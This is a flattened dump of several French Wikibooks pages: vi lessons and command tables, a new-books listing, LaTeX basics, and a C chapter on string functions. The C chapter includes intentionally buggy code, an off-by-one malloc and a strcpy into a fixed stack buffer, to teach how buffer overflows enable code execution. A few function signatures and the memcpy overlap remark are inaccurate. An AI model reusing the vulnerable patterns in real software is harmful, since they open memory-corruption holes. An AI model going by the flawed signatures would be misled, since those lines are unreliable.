<code>errno</code> qu'en cas d'erreur, d'autres fonctions ou appels du système ne suivent pas nécessairement cette règle et positionnent systématiquement <code>errno</code> à 0 et éventuellement à une valeur significative en cas d'erreur. Tester le code de retour de chaque appel peut devenir particulièrement pénible, c'est d'autant plus navrant que la bibliothèque <code>stdio</code> propose la fonction <code>int ferror( FILE * );</code>, qui permet de savoir si une erreur a été déclenchée lors d'un appel antérieur ... mais, hélas, sans retourner la cause de l'erreur de l'appel fautif ! Cela aurait permis de ne faire qu'un minimum de tests à des endroits critiques, plutôt qu'à chaque appel pour récupérer la cause. C'est encore une fois un problème tellement classique que le premier réflexe dans une application digne de ce nom est de proposer une surcouche à ces fonctions (de sorties principalement). Vi 516 12221 2004-10-25T13:16:19Z Guillaumito 46 {{EnTravaux}} #[[Vi Leçon 0|Leçon 0 — Découvrir vi]] #[[Vi Leçon 1|Leçon 1 — prise en main]] #[[Vi Leçon 1|Leçon 2 — déplacements]] ---- À « transformer » en leçons : #[[Vi Débuter avec vi|Débuter avec vi]] #[[Vi Aller un peu plus loin|Aller un peu plus loin]] Wikilivres:Nouveaux livres 520 43841 2006-06-04T10:05:39Z 86.211.198.235 {| | style="font: 125% Verdana;text-align:center;" | '''Nouveaux livres''' | style="font: 125% Verdana;text-align:center;" | '''Autres actualités''' |- | {{Livre|couleur=#AAEEAA|titre=[[Guide du vélo en ville]]|sujet= comment rouler à bicyclette dans la circulation urbaine en toute sécurité|audience=cyclistes urbains débutants ou expérimentés|auteurs=[[Utilisateur:Fabrice|Fabrice]]}} {{Livre|couleur=#AAAAEE|titre=[[Astérix]]|sujet=Le côté fictif et la vérité historique dans « Le fils d’Astérix »|audience=Tous|auteurs=[[Utilisateur:Carbidfischer|Carbidfischer]]}} {{Livre|couleur=#AAEEAA|titre=[[Construire sa maison]]|sujet= Le guide de l'autoconstructeur |audience=Bricoleur averti et candidats à l'accession à la propriété|auteurs=[[Utilisateur:F5ZV|F5ZV]]}} {{Livre|couleur=#AAEEAA|titre=[[Découverte de MySQL, PostgreSQL et Oracle]]|sujet=Ce document explique aux administrateurs de bases de données les différents aspects à cerner lors de l'administration d'une base de données inconnue. Ce document est aussi utile aux administrateurs qui ne connaissent qu'un des logiciels présentés, afin de connaître les commandes équivalentes. Nous avons étudié MySQL 5.1, PostgreSQL 8.1 et Oracle 9i installés sur une Debian Etch.|audience=Administrateurs|auteurs=[[Utilisateur:GML|GML]], [[Utilisateur:Zouff|Zouff]], Didi}}{{Livre|couleur=#AAEEAA|titre=[[Introduction au protocole NNTP]]|sujet=Explication technique sur le protocole NNTP utilisé par Usenet pour gérer les groupes de discussions|audience=Développeurs|auteurs=[[Utilisateur:Dake|Dake]]}} {{Livre|couleur=#AAEEAA|titre=[[Managed C Plus Plus Guide|Guide de programmation en C++ Managé]]|sujet=Recueil d'astuces pour éviter de perdre du temps de développement en C++ Managé|audience=Développeurs|auteurs=[[Utilisateur:Bozo|Bozo]]}} {{Livre|couleur=#EEAAAA|titre=[[Histoire de l'Europe]]|sujet=Histoire de l'Europe, des origines préhistoriques à l'Union européenne|audience=Tous publics|auteurs=[[Utilisateur:Topf|Topf]], [[Utilisateur:Esope|Esope]]}} {{Livre|couleur=#AAAAEE|titre=[[Tribologie]]|sujet=Tout ce qui concerne le frottement, l'usure, la lubrification, les contacts, etc.|audience=Tous publics, et plus particulièrement les étudiants en construction mécanique, les professeurs de technologie, les techniciens et les ingénieurs|auteurs=[[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]]}} {{Livre|couleur=#EEAAAA|titre=[[Programmation HTML]]|sujet=Apprendre le langage de base pour l'écriture de sites webs|audience=Tous|auteurs=[[Utilisateur:Esope|Esope]], [[Utilisateur:Guillaumito|Guillaumito]]}} {{Livre|couleur=#AAEEAA|titre=[[Philosophie]]|sujet=[[Introduction générale à la philosophie]]|audience=Tous|auteurs=[[Utilisateur:Caton|Caton]]}} {{Livre|couleur=#AAAAEE|titre=[[Enseignement du hindi]]|sujet=Apprendre le [[w:hindi|hindi]].|audience=Tous|auteurs=[[Utilisateur:Yann|Yann]]}} {{Livre|couleur=#EEAAAA|titre=[[Programmation Assembleur x86]]|sujet=Apprendre la programmation au plus bas niveau possible sur PC|audience=Programmeurs|auteurs=[[Utilisateur:Ecureuil gris|Ecureuil gris]]}} {{Livre|couleur=#AAEEAA|titre=[[Certifications Linux LPI]]|sujet=Passer les certifications [[w:Linux|Linux]] de [[w:Linux Professional Institute|Linux Professional Institute]]|audience=Administrateurs système Linux|auteurs=[[Utilisateur:Yann|Yann]]}} {{Livre|couleur=#EEAAAA|titre=[[Thermodynamique]]|sujet=Introduction à la thermodynamique|audience=Universitaires ou post bacs scientifique|auteurs=[[Utilisateur:Anarchimede|Anarchimede]]}} {{Livre|couleur=#AAAAEE|titre=[[Photographie]]|sujet=Aspects scientifiques, techniques et artistiques de la photographie et des domaines connexes|audience=Tous publics|auteurs=[[Utilisateur:Jean-Jacques MILAN|Jean-Jacques MILAN]]}} {{Livre|couleur=#AAAAEE|titre=[[La Numérologie]]|sujet=Sciences Ésotérique, technique et interprétation en numérologie traditionnelle à 9 ''nombres''.|audience=Tous publics|auteurs= David Gaubiac [[Utilisateur:Dav|Dav]]}} | style="vertical-align:top;" | {| | == Liens externes == * Une annonce est parue sur http://linuxfr.org pour les cours pour les [[Certifications Linux LPI]]. cf. [http://linuxfr.org/2004/10/22/17459.html]. ==Évolution des livres== *Plein de nouvelles pages pour... **[[Programmation]] - Transfert terminé ! Prochaine étape : classer les livres selon leur état d'avancement et, bien sûr, terminer de les écrire ! === Chartes === * N'oubliez pas de consulter la [[Projet:Charte pédagogique|charte pédagogique]] et de l'enrichir. --[[Utilisateur:Anarchimede|Anarchimede]] 2 mar 2005 à 10:36 (UTC) == Nouveaux modèles == ''Voir [[Wikilivres:Modèles|l'ensemble des modèles]]'' * {{m|exemple}}, formatage esthétique pour mettre des exemples, notamment en programmation informatique. * {{m|lienDePage}}, pour mettre en place une boite (page précédente, sommaire, page suivante). * {{m|en}} et {{m|fr}}, pour indiquer la langue d'une ressource externe. * {{m|Indication de langue}}, pour créer des modèles permettant d'indiquer la langue d'une ressource. * {{m|m}} pour afficher un lien vers un modèle ! * [[Modèle:er]], [[Modèle:ère]] et [[Modèle:ème]] pour {{er}}, {{ère}} et {{ème}} * [[Modèle:']] : un petit modèle qui peut se révéler bien pratique (donne une apostrophe entourée des balises <nowiki><nowiki></nowiki>... * [[Modèle:25]], [[Modèle:50]], [[Modèle:75]] et [[Modèle:100]] pour afficher rapidement l'état d'un wikilivre * [[Modèle:Gujarati]], pour le cours de [[Enseignement du gujarati|gujarati]]. [[Utilisateur:Yann|Yann]] 28 nov 2004 à 07:48 (UTC) * [[Modèle:Livre]], pour ajouter des livres dans la page actualités et surement pour d'autres usages ; * [[Modèle:Hindi]], pour l'[[Enseignement du hindi]]. * [[Modèle:Assembleur]], créé pour les chapitres sur les différents [[Programmation Assembleur|assembleurs]] (livre programmation) ; * [[Modèle:LPIC|Certification LPI]], pour les [[Certifications Linux LPI]] ; * [[Modèle:LaTeX]], pour le livre de [[Programmation LaTeX|LaTeX]] ; * [[Modèle:Programmation]], pour les pages d'entrées de livres de [[programmation]] ; * [[Modèle:BoiteJeux]], pour les articles de la [[Boite à jeux]] ; * [[Modèle:Vi]], créé pour le livre [[Vi]] ; * [[Modèle:Programmation C]], créé pour le livre [[Programmation C]]. * [[Modèle:Programmation Glossaire]], créé pour le [[Programmation Glossaire|Glossaire de la programmation]] * [[Modèle:Programmation Logo]], créé pour le livre [[Programmation Logo]] (livre repris de l'ancien site quasi terminé) * [[Modèle:Definition1]], créé notamment pour le livre [[Thermodynamique]], il s'agit d'un simple encadré de couleur portant le titre Définition. Ce modèle peut servir également aux autres livres. * [[Modèle:Tribologie]] créé pour permettre une navigation rapide dans le livre de tribologie. * [[Modèle:Photographie]] créé pour permettre une navigation rapide dans le livre de photographie. |} |} Image:Tab lam tierce.png 521 12225 2004-09-26T20:45:59Z Guillaumito 46 Montée/descente de la mineur par tierces Montée/descente de la mineur par tierces Actualités 523 23782 2005-10-21T04:11:45Z Jusjih 513 La fin de la double redirection #REDIRECT [[Wikilivres:Nouveaux livres]] Image:Gvim.png 527 12229 2004-09-27T09:27:13Z Gauz 51 description de gvim description de gvim Vi Leçon 0 529 44331 2006-06-11T18:17:08Z 82.226.207.197 /* Historique */ orth {{Vi}} == Découvrir ''vi'' == === Historique === L'[[w:fr:éditeur de texte|éditeur]] ''vi'' (prononcez vi aïe) adhère aux principes des applications [[w:fr:Unix|Unix]] : il remplit une fonction spécifique au mieux et s'intègre au reste du système, communiquant avec les autres applications pour s'associer leur capacités. Léger et portable, il peut toujours être présent, simple sur le système le plus basique ou amélioré sur un système habituel. Bill Joy (Willam N. Joy (1954 -), co-fondateur de [[w:fr:Sun Microsystems|Sun Microsystems]]), étudiant à [[w:fr:Université de Berkeley|Berkeley]], planche au cours de l'été 1975 sur des algorithmes dont la taille imposante (200 lignes) empêche une correcte implantation dans le cœur du système [[w:fr:Pascal (langage)|Pascal]]. À l'époque, l'éditeur couramment utilisé était ''ed'' et de nombreuses améliorations en étaient développées, dont ''em'' que George Coulouris lui procure. ''Em'' avait cependant quelques défauts, comme de ne pouvoir afficher que des majuscules, et Joy et Chuck Haley l'adaptent une première fois, le renommant ''ex''. Joy travaillait sur un terminal proposant une vingtaine de lignes et sans retour possible, il lui fallait donc développer un éditeur plein écran mettant en mémoire les pages non affichées. Il fallait en outre qu'il puisse être utilisé au travers de son modem 300 baud. En quelques mois de 1976, il développe alors ''vi'', qui sera distribué en 1978 avec la ''Second Berkeley Software Distribution'' (2BSD). Premier éditeur en plein écran, dont de nombreuses fonctionnalités ont été inspirées de ''Bravo'', le premier [[w:fr:Wysiwyg|WYSIWYG]], ''vi'' est diffusé alors avec Unix et Pascal. Joy se désinteresse rapidement du maintien et laisse la suite du développement à Mark Horton. Quelques sources sur les débuts de ''vi'' : *[http://www.cs.pdx.edu/~kirkenda/joy84.html interview de Bill Joy] ; *[http://www.oreilly.com/catalog/opensources/book/kirkmck.html twenty Years of Berkeley unix]. === Vim === ''Vim'' est une version évoluée et particulièrement répandue de ''vi''. En 1988, Bram Moolenaar commence le portage de ''vi'' sur son Amiga fraîchement acquis, « Stevie » est alors peu fonctionnel et particulièrement buggé, mais il se corrige progressivement et passe de « Vi IMitation » à « Vi IMproved. » Gardant une grande compatiblité avec ''vi'', les nouvelles commandes s'ajoutent aux anciennes et permettent à chaque utilisateur une approche personnalisée du logiciel. Conçu dès l'origine comme un produit ''open-source'', la plupart des développement de ''vim'' viennent des programmateurs qui l'utilisent. [http://www.moolenaar.net/vimstory.txt L'historique de ''vim'' par Moolenaar] Si son utilisation et sa diffusion sont gratuites, son auteur le diffuse comme ''charityware'' et vous invite à participer au développement du sud de l'Ouganda et à venir en aide aux orphelins du SIDA de cette région par des dons à l'[http://iccf-holland.org/ ICCF]. Vous pouvez également aider cette association caritative, en achetant chez Amazon le livre de Moolenaar sur ''vim'', des DVD du ''Seigneur des anneaux'' ou d'autres produits culturels ; en précisant que vous venez de leur part un pourcentage leur sera reversé : [http://iccf-holland.org/click.html faire un don]. === Quelques liens === *[http://thomer.com/vi/vi.html ''vi'' lovers page] *[http://www.vim.org/ la page officielle de ''vim''] *[http://www.freenix.fr/unix/linux/HOWTO/Vim-HOWTO.html HOWTO de ''vim''] *[http://fr.wikipedia.org/wiki/Vi définition de ''vi'' dans Wikipedia] Vi Débuter avec vi 530 12232 2004-10-24T20:21:24Z Guillaumito 46 /* Se déplacer */ ->leçon 2 {{Vi}} == Débuter avec ''vi'' == === Quelques commandes simples et utiles === {| | <tt>:u</tt> | annuler |- | <tt>.</tt> | réitère la dernière commande d'édition |- | <tt>/'''motif'''</tt> | aller au '''motif''' suivant |- | <tt>n</tt> | continuer la recherche vers le bas |- | <tt>N</tt> | continuer la recherche vers le haut |- | <tt>dd</tt> | « couper » la ligne courante |- | <tt>yy</tt> | « copier » la ligne courante |- | <tt>P</tt> | « coller » avant le curseur ce qui vient d'être copié/coupé |- | colspan=2| Attention, ''vi'' est sensible à la casse, il s'agit bien d'un <tt>P</tt> majuscule. Le <tt>p</tt> minuscule colle après le curseur. |- | <tt>:s/'''motif1'''/'''motif2'''</tt> | remplace '''motif1''' par '''motif2''' (1ère occurence sur la ligne du curseur) |} === Manipuler les fichiers === {| | colspan=2|'''Ouvrir un fichier avec ''vi''''' |- | <tt>vi ''mon_beau_fichier''</tt> | ouvre ''mon_beau_fichier'' en lançant ''vi'' |- | <tt>:e ''mon_beau_fichier''</tt> | ouvre ''mon_beau_fichier'' |- | colspan=2|'''Ouvrir une série de fichiers avec ''vi''''' |- | <tt>:n ''fichier1'' ''fichier2''</tt> | charge les fichiers ''fichier1'' ''fichier2'' |- | <tt>:n</tt> | passe au fichier suivant |- | <tt>:prev</tt> | revient au fichier précédent |- | colspan=2|'''Ouvrir plusieurs fichiers dans la même fenêtre''' |- | <tt>:sp ''fichier2''</tt> | divise la fenêtre et charge ''fichier2'' dans la deuxième moitié |- | <tt>ww</tt> | passe d'une sous-fenêtre à l'autre |- | colspan=2|'''En cas de problème''' |- | <tt>:e!</tt> | recharge le dernier enregistrement du fichier et abandonne les modifications |- | <tt>:q!</tt> | quitte ''vi'' sans enregistrer les modifications |- |<tt>vi -r ''mon_beau_fichier''</tt> | récupère le fichier de sauvegarde temporaire de ''mon_beau_fichier'' (''mon_beau_fichier.swp'') |- | colspan=2|'''enregistrer et quitter''' |- | <tt>:w ''nouveau_nom''</tt> | enregistre le fichier sous ''nouveau_nom'' |- | <tt>:wq</tt> ou <tt>:x</tt> ou <tt>ZZ</tt> | enregistre le fichier et quitte ''vi'' |} Vi Aller un peu plus loin 531 12233 2004-09-27T14:17:58Z Guillaumito 46 ajout modèle vi {{Vi}} == Aller un peu plus loin == === Éditer efficacement === {| | colspan=2|'''Passer au « mode insertion »''' |- | <tt>i</tt> | passe au « mode insertion » avant le curseur |- | <tt>a</tt> | passe au « mode insertion » après le curseur |- | <tt>I</tt> | passe au « mode insertion » en début de ligne |- | <tt>A</tt> | passe au « mode insertion » en fin de ligne |- | <tt>o</tt> | passe au « mode insertion » sur une nouvelle ligne au-dessous du curseur |- | <tt>O</tt> | passe au « mode insertion » sur une nouvelle ligne au-dessus du curseur |- | colspan=2|'''Remplacement''' |- | <tt>r</tt> | remplace le caractère sous le curseur |- | <tt>R</tt> | passe au « mode insertion » en remplaçant les caractères sous le curseur |- | colspan=2|'''Effacer (couper)''' |- | <tt>x</tt> | efface le caractère sous le curseur |- | <tt>dd</tt> | efface la ligne du curseur |- | <tt>d$</tt> | efface du curseur jusqu'à la fin de la ligne |- | <tt>dw</tt> | efface du curseur jusqu'à la fin du mot |- | <tt>dt'''c'''</tt> | efface du curseur jusqu'au caractère '''c''' suivant non-inclus |- | <tt>df'''c'''</tt> | efface du curseur jusqu'au caractère '''c''' suivant inclus |- | colspan=2|'''Copier''' |- | colspan=2|La syntaxe présentée pour couper est généralement valide pour copier, en remplaçant ''d'' par ''y'', d'une manière générale le curseur indique la position de départ et un motif de déplacement indiquent la fin du texte à copier/couper. |- | colspan=2|'''Les deux fonctions ont cependant certaines fonctionnalités spécifiques :''' |- | <tt>"'''n'''P</tt> | colle le texte du '''n'''ième effacement (jusqu'à 9) |- | <tt>"'''c'''yy</tt> | copie la ligne du curseur dans le tampon désigné par le caractère '''c''' |- | <tt>"'''c'''P</tt> | colle le contenu du tampon '''c''' |} Sous ''vi'', une commande peut être lancée plusieurs fois simultanément, ''n'' ''commande'' lance ''n'' fois la commande, par exemple : *<tt>2yy</tt> copie la ligne du curseur et la ligne suivante ; *<tt>10x</tt> efface 10 caractères. === Se déplacer efficacement === {| | colspan=2|'''Rechercher''' |- | <tt>/'''motif'''</tt> | recherche '''motif''' vers le bas |- | <tt>?'''motif'''</tt> | recherche '''motif''' vers le haut |- |<tt>n</tt> | répète la recherche |- |<tt>N</tt> | répète la recherche dans l'autre sens |- |<tt>/</tt> | répète la recherche vers le bas |- |<tt>?</tt> | répète la recherche vers le haut |- |colspan=2|'''Déplacer le curseur dans le fichier''' |- |<tt>e</tt> | déplace le curseur à la fin du mot (du mot suivant si déjà atteint) |- |<tt>(</tt> | déplace le curseur d'une phrase vers l'arrière |- |<tt>)</tt> | déplace le curseur d'une phrase vers l'avant |- |<tt>{</tt> | déplace le curseur d'un paragraphe vers l'arrière |- |<tt>}</tt> | déplace le curseur d'un paragraphe vers l'avant |- |<tt>[[</tt> | déplace le curseur d'une section vers l'arrière |- |<tt>]]</tt> | déplace le curseur d'une section vers l'arrière |- |colspan=2|Remarque : ces motifs de déplacement peuvent être utilisés dans la syntaxe des coupers/copiers |- |colspan=2|'''Déplacer le curseur dans la fenêtre de ''vi''''' |- |<tt>H</tt> | déplace le curseur sur la première ligne de l'écran |- |<tt>M</tt> | déplace le curseur au milieu de l'écran |- |<tt>L</tt> | déplace le curseur sur la dernière ligne de l'écran |- |<tt>(</tt> | déplace le curseur d'une phrase vers l'arrière |- |<tt>z <ENTRÉE></tt> | déplace la ligne du curseur en haut de l'écran |- |<tt>z.</tt> | déplace la ligne du curseur au milieu de l'écran |- |<tt>z-</tt> | déplace la ligne du curseur en bas de l'écran |- |colspan=2|'''Marquage''' |- |<tt>m'''c'''</tt> | marque la position du curseur du caractère '''c''' |- |<tt><nowiki>'</nowiki>'''c'''</tt> | déplace le curseur jusqu'à la marque '''c''' |- |<tt><nowiki>''</nowiki></tt> | déplace le curseur jusqu'à la marque précédente |} Modèle:Vi 532 12234 2004-10-25T13:20:17Z Guillaumito 46 {| style="border:1px #E2D0EE solid; margin-left:10px;" cellspacing="0" cellpadding="5" align="right" | style="text-align:center;background:#F5EAFB;" | [[Vi]] |- | #[[Vi Leçon 0|Découvrir vi]] #[[Vi Leçon 1|Prise en main]] #[[Vi Leçon 2|Déplacements]] |} Programmation LaTeX 539 44149 2006-06-08T11:09:27Z 194.250.97.154 Ceci est un guide pour la programation en '''LaTeX'''. Il est prévu pour qu'il puisse servir à tous, du novice à l'utilisateur expérimenté. {{Wikipédia|TeX}} {{Wikipédia|LaTeX}} #[[Programmation LaTeX Généralités|Généralités]] #[[Programmation LaTeX Introduction|Introduction]] #[[Programmation LaTeX Novices|Novices]] #[[Programmation LaTeX Structure du document|Structure du document]] #[[Programmation LaTeX Gestion de la bibliographie|Gestion de la bibliographie]] #[[Programmation LaTeX Tableaux|Tableaux]] #[[Programmation LaTeX Images|Images]] #[[Programmation LaTeX Éléments flottants et figures|Éléments flottants et figures]] #[[Programmation LaTeX Mise en forme du texte|Mise en forme du texte]] #[[Programmation LaTeX Mise en page|Mise en page]] #[[Programmation LaTeX Mathématiques|Mathématiques]] #[[Programmation LaTeX Faire des présentations|Faire des présentations]] #[[Programmation LaTeX Liens externes|Liens externes]] [[de:LaTeX-Kompendium]] [[en:LaTeX]] [[es:Manual de LaTeX]] [[nl:LaTeX]] [[pl:LaTeX]] <!--[[fr:Programmation LaTeX]]--> [[ja:TeX/LaTeX入門]] Programmation LaTeX Premier exemple 540 42469 2006-05-16T10:37:28Z Cdang 1202 RV du vandalisme de 12 mars 2006 à 22:07 80.243.243.153 {{LaTeX}} Nous allons commencer par un exemple de « programme » minimal en LaTeX : ; Fichier source <pre> \documentclass{article} \begin{document} Bonjour, j'\'edite en \LaTeX~! \end{document} </pre> ; Résultat (en PostScript) : [[Image:Latex_premier_exemple.png|300px]] {{LaTeX-nav}} Image:Latex premier exemple.png 541 12241 2004-09-28T11:41:34Z Guillaumito 46 Programmation LaTeX Éléments de base 542 46489 2006-06-29T13:55:38Z 82.240.60.68 {{LaTeX}} == Langage courant == Jusqu'à l'arrivée de l'unicode, seuls les 128 premiers caractères ASCII étaient vraiment universels. Comme LeTeX est multiplateforme, les caractères accentués sont représentés de la manière quivante : * <code>\'e</code> pour é ; * <code>\`e</code> pour è ; * <code>\^\i </code> pour î (mettre un espace après le i) ; * <code>\`A</code> pour À ; et ainsi de suite. Cela permet de mettre des accents sur tous les caractères (minuscules ou majuscules). Cependant, si l'on reste toujours sur la même plateforme (même système d'exploitation), ceci est optionnel : on peut utiliser les caractères accentués du clavier. ; Symboles spéciaux en vrac : * <code>\{</code> pour {, * <code>\}</code> pour }, * <code>\&</code> pour &, * <code>\%</code> pour %, * <code>\#</code> pour #, * <code>\c{c}</code> pour ç, * <code>\flqq</code> et <code>\frqq</code> pour les guillemets, * <code>\oe </code> pour œ (mettre une espace après le e), * <code>\ae </code> pour æ (mettre une espace après le e), * <code>~</code> pour une espace insécable (par exemple M.~Dupond). {{LaTeX-nav}} Modèle:BoiteJeux 543 41695 2006-05-06T16:09:01Z 61.68.177.144 up ---- {| style="border:1px solid;border-bottom:2px solid;border-right:2px solid;margin-top:1em" align=center cellpadding=10 cellspacing=0 | bgcolor=#ffeecc | [[Image:Two red dice 01.svg|50px|dés à jouer]] | bgcolor=#ffffdd | Cet article fait partie du livre [[Boîte à jeux]] |} Programmation C Chaînes de caractères 545 26892 2005-12-17T00:13:29Z 84.119.19.182 /* Concaténation et copie de chaînes */ {{Programmation C}} Le langage C offre quelques facilités d'écritures pour simuler les chaînes de caractères à l'aide de tableau. En plus de cela, certaines fonctions de la bibliothèque standard (et les autres) permettent de faciliter leur gestion. À la différence d'un tableau, les chaînes de caractères respectent une convention : se terminer par le caractère <code>'\0'</code> (''antislash-zero''). Ainsi pour construire une chaîne de caractères « à la main », il ne faut pas oublier ce caractère final sous peine de voir le programme réagir bizarrement. À noter que les fonctions de la bibliothèque standard sont extrêmement dangeureuses et extrêmement peu pratiques à utiliser. On peut avancer sans trop de risque qu'une des plus grandes lacunes du C provient de sa gestion précaire des chaînes de caractères, pourtant massivement employées dans tout programme digne de ce nom. Pour faire court, on ne saurait trop conseiller de soit reprogrammer les fonctions ci-dessous, d'utiliser une bibliothèque externe ou de faire preuve de paranoïa avant leur utilisation. Les fonctions permettant de manipuler les chaînes de caractères se trouvent dans le fichier d'entête ''string.h'', ainsi pour les utiliser il faut ajouter la commande préprocesseur : <pre> #include <string.h> </pre> ==Comparaison de chaînes== <pre> int strcmp(const char * chaine1, const char * chaine2); int strncmp(const char * chaine1, const char * chaine2, size_t longueur); </pre> Compare les chaînes ''chaine1'' et ''chaine2'' et renvoie un entier : *négatif, si ''chaine1'' est inférieure à ''chaine2'' ; *nul, si ''chaine1'' est égale à ''chaine2'' ; *positif, si ''chaine1'' est supérieur à ''chaine2''. '''première remarque''' : lorsque les deux chaînes sont égales, <code>strcmp</code> renvoie 0, qui a la valeur de vérité ''faux''. Pour tester l'égalité entre deux chaînes, il faut donc écrire soit <code>if (strcmp(chaine1, chaine2) == 0) ...</code>, soit <code>if (!strcmp(chaine1, chaine2)) ...</code> mais surtout pas <code>if (strcmp(chaine1, chaine2)) ...</code> qui teste si deux chaînes sont différentes ! '''seconde remarque''' : l'opérateur <code>==</code>, dans le cas de pointeurs, teste si les adresses sont égales. Noter <code>chaine1 == chaine2</code>, si ''chaine1'' et ''chaine2'' sont des <code>char *</code> revient à tester si les deux chaînes pointent sur la même zone mémoire et non pas à tester l'égalité de leur contenu. À noter l'existence de deux fonctions de comparaisons de chaîne, insensibles à la casse des caractères et s'adaptant à la localisation en cours, fonctionnant sur le même principe que <code>strcmp()</code> et <code>strncmp()</code>, mais dont l'origine provient des systèmes BSD : <pre> int strcasecmp(const char * chaine1, const char * chaine2); int strncasecmp(const char * chaine1, const char * chaine2, size_t longueur); </pre> ==Longueur d'une chaîne== <pre> size_t strlen(const char * chaine); </pre> Renvoie la longueur de la ''chaine'' sans compter le caractère <code>'\0'</code>. '''exemple''' : <code>strlen("coincoin")</code> renvoie 8. ==Concaténation et copie de chaînes== <pre> char * strcpy (char *destination, const char *source); char * strncpy (char *destination, const char *source, size_t n); char * strcat (char *destination, const char *source); char * strncat (char *destination, const char *source, size_t n); char * strdup (const char *source); </pre> <code>strcpy</code> copie le contenu de ''source'' à l'adresse mémoire pointé par ''destination'', incluant le caractère nul final. <code>strcat</code> concatène la chaîne ''source'' à la fin de la chaîne ''destination'', en y rajoutant aussi le caractère nul final. Toutes ces fonctions renvoient le pointeur sur la chaîne ''destination''. Il faut être très prudent lors des copies ou des concaténations de chaînes, car les problèmes pouvant survenir peuvent être très pénible à diagnostiquer. L'erreur archi-classique est de faire une copie dans une zone mémoire non réservée, comme dans l'exemple suivant, ''a priori'' anodin : <pre> /* Ce code contient une erreur grossière et volontaire */ char * copie_chaine( const char * source ) { char * chaine = malloc( strlen(source) ); if( chaine != NULL ) return strcpy( chaine, source ); else return NULL; } </pre> Ce code ''a priori'' correct provoque pourtant l'écriture d'un octet dans une zone non allouée. Les conséquences de ce genre d'action sont totalement imprévisibles, pouvant au mieux passer inaperçue, ou au pire écraser des structures de données critiques dans la gestion des blocs mémoires et engendrer des accès mémoire illégaux lors des prochaines tentatives d'allocation ou de libération de bloc. Le cauchemar de tout programmeur. Dans cet exemple il aurait bien évidemment fallu écrire : <pre> char * chaine = malloc( strlen(source) + 1 ); </pre> C'est aussi ce que fait la fonction <code>strdup()</code>, dont la valeur de retour, si elle est différente de <code>NULL</code>, peut être libérée avec <code>free()</code>. Une autre erreur, beaucoup plus fréquente hélas, est de copier une chaîne dans une zone mémoire locale (allouée sur la pile), sans se soucier de savoir si cette zone est capable d'accueillir la nouvelle chaîne. Les conséquences peuvent ici être beaucoup plus graves qu'un simple accès illégal à une zone mémoire globale (allocation dynamique ou variable globale/statique, en général cela met directement fin à l'exécution du programme). Un écrasement mémoire (''buffer overflow'') est considéré comme un défaut de sécurité relativement grave, puisqu'un attaquant bien renseigné sur la structure du programme peut effectivement lui faire exécuter du code arbitraire. Ce problème vient de la manière dont les variables locales aux fonctions sont stockées en mémoire, qui sont en fait empilées vers le bas (adresses décroissantes) sur la plupart des systèmes d'exploitation. Or, une chaîne de caractères (comme tout tableau C) est ordonnée selon les adresses croissantes (c'est à dire que <code>&tableau[i] < &tableau[i+1]</code>). Comme le C permet d'accéder à un tableau en dehors de ses limites, on pourrait donc théoriquement accéder aux valeurs stockées au-delà des déclarations de variables locales. En fait c'est à cet endroit, que le compilateur place une valeur extrêmement critique : l'adresse de retour de la fonction. En s'y prenant bien, on peut donc écraser cette valeur, la faire pointer vers un petit bout de code qui donnerait l'ordre... d'effacer le disque dur (Cette adresse est en fait assez facile à écraser dans la mesure où elle est alignée sur au moins 4 octets) ! Si en plus le programme possède des privilèges, les résultats peuvent être assez catastrophiques. Voici un exemple très classique, où ce genre d' ''exploit'' peut arriver : <pre> /* Ce code contient une erreur grossière et volontaire */ int traite_chaine( const char * ma_chaine ) { char tmp[512]; strcpy( tmp, ma_chaine ); /* ... */ } </pre> Ce code, hélas plus fréquent qu'on ne le pense, est à '''bannir'''. Si une copie de la chaîne doit être faite dans une zone mémoire, mieux vaut utiliser la fonction <code>strdup()</code>. On peut aussi s'en sortir en ne copiant qu'un certain nombre des premiers octets de la chaîne, avec la fonction <code>strncpy</code> : <pre> strncpy( tmp, ma_chaine, sizeof tmp ); tmp[ sizeof tmp - 1 ] = 0; </pre> On notera l'ajout explicite du caractère nul, si ''ma_chaine'' est plus grande que la zone mémoire ''tmp''. La fonction <code>strncpy</code> ne rajoutant hélas pas, dans ce cas, de caractère nul. C'est un problème tellement classique, que toute application C reprogramme en général la fonction <code>strncpy</code> pour prendre en compte ce cas de figure. La gestion correcte des chaînes de caractères est un problème à ne pas sous-estimer en C. Le langage n'offrant que très peu d'aide, c'est sans doute une des plus grandes lacunes qui a fait haïr le C à beaucoup de gens. ==Recherche dans une chaîne== <pre> char * strchr(const char * chaine, int caractère); char * strrchr(const char * chaine, int caractère); </pre> Recherche le ''caractère'' dans la ''chaine'' et renvoie la position de la première occurence dans le cas de <code>strchr</code> et la position de la dernière occurence dans le cas de <code>strrchr</code>. <pre> char * strstr(const char * meule_de_foin, const char * aiguille); </pre> Recherche l'''aiguille'' dans la ''meule de foin'' et renvoie la position de la première occurence. ==Traitement des blocs mémoire== La bibliothèque <code>string.h</code> contient encore quelques fonctions pour la manipulation de zone brute de mémoire : ; <code>void memcpy( void * destination, const void * source, size_t longueur );</code> : Copie '<code>longueur</code>' octet de la zone mémoire '<code>source</code>' dans '<code>destination</code>'. Vous devez bien-sûr vous assurer que la chaine destination ait suffisament de place, ce qui est en général plus simple dans la mesure où l'on connait la longueur.<br />Attention au récouvrement des zones : si <code>destination + longueur < source</code> alors <code>source >= destination</code>. ; <code>void memmove( void * destination, const void * source, size_t longueur );</code> : Identique à la fonction <code>memcpy()</code>, mais permet de s'affranchir totalement de la limitation de recouvrement. ; <code>void memset( void * memoire, int caractere, size_t longueur );</code> : Initialise les '<code>longueur</code>' premiers '''octets''' du bloc '<code>memoire</code>', par la valeur convertie en type <code>char</code> de '<code>caractere</code>'. Cette fonction est souvent employée pour mettre à zéro tous les champs d'une structure ou d'un tableau : <pre>struct MonType_t mem; memset( &mem, 0, sizeof mem );</pre> ; <code>int memcmp( const void * mem1, const void * mem2, size_t longueur );</code> : Compare les '<code>longueur</code>' premiers octets des blocs '<code>mem1</code>' et '<code>mem2</code>'. Renvoie les codes suivants : :&lt; 0 : <code>mem1</code> &lt; <code>mem2</code> := 0 : <code>mem1</code> == <code>mem2</code> :&gt; 0 : <code>mem1</code> &gt; <code>mem2</code> ; <code>void * memchr( const void * memoire, int caractere, size_t longueur );</code> : Recherche dans les '<code>longueur</code>' premiers octets du bloc '<code>memoire</code>', la valeur convertie en type <code>char</code> de '<code>caractere</code>'. Renvoie un pointeur sur l'emplacement où le caractère a été trouvé, ou <code>NULL</code> si rien n'a été trouvé. ; <code>void * memrchr( const void * memoire, int caractere, size_t longueur );</code> : 